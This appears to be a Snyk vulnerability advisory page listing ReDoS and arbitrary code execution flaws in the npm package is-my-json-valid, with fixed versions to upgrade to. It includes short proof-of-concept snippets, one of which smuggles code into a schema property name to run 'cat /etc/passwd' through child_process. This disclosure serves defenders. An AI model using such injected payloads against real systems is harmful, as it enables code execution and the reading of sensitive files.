is-my-json-valid@2.0.0 vulnerabilities

  • latest version

    2.20.6

  • latest non vulnerable version

  • first published

    10 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the is-my-json-valid package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Regular Expression Denial of Service (ReDoS)

    is-my-json-valid is a JSONSchema / orderly validator that uses code generation to be extremely fast.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the style format.

    ##PoC

    const imjv = require('is-my-json-valid')
    const validate = imjv({ maxLength: 100, format: 'style' })
    console.log(validate(' '.repeat(1e4)))
    

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade is-my-json-valid to version 2.20.2 or higher.

    <2.20.2
    • H
    Arbitrary Code Execution

    is-my-json-valid is a JSONSchema / orderly validator that uses code generation to be extremely fast.

    Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName function.

    ##PoC

    const schema = {
      type: 'object',
      properties: {
        'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
          required: true,
          type:'string'
        }
      },
    }
    var validate = validator(schema);
    validate({})
    

    How to fix Arbitrary Code Execution?

    Upgrade is-my-json-valid to version 2.20.3 or higher.

    <2.20.3
    • L
    Regular Expression Denial of Service (ReDoS)

    is-my-json-valid is a universal validation plugin.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. It used a regular expression (/^\S+@\S+$/) in order to validate emails. This can cause an impact of about 10 seconds matching time for data 90K characters long.

    How to fix Regular Expression Denial of Service (ReDoS)?

    Upgrade is-my-json-valid to version 2.17.2, 1.4.1 or higher.

    <1.4.1>=2.0.0 <2.17.2
    • H
    Regular Expression Denial of Service (ReDoS)

    is-my-json-valid is a JSONSchema validator that uses code generation to be extremely fast.

    Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

    <2.12.4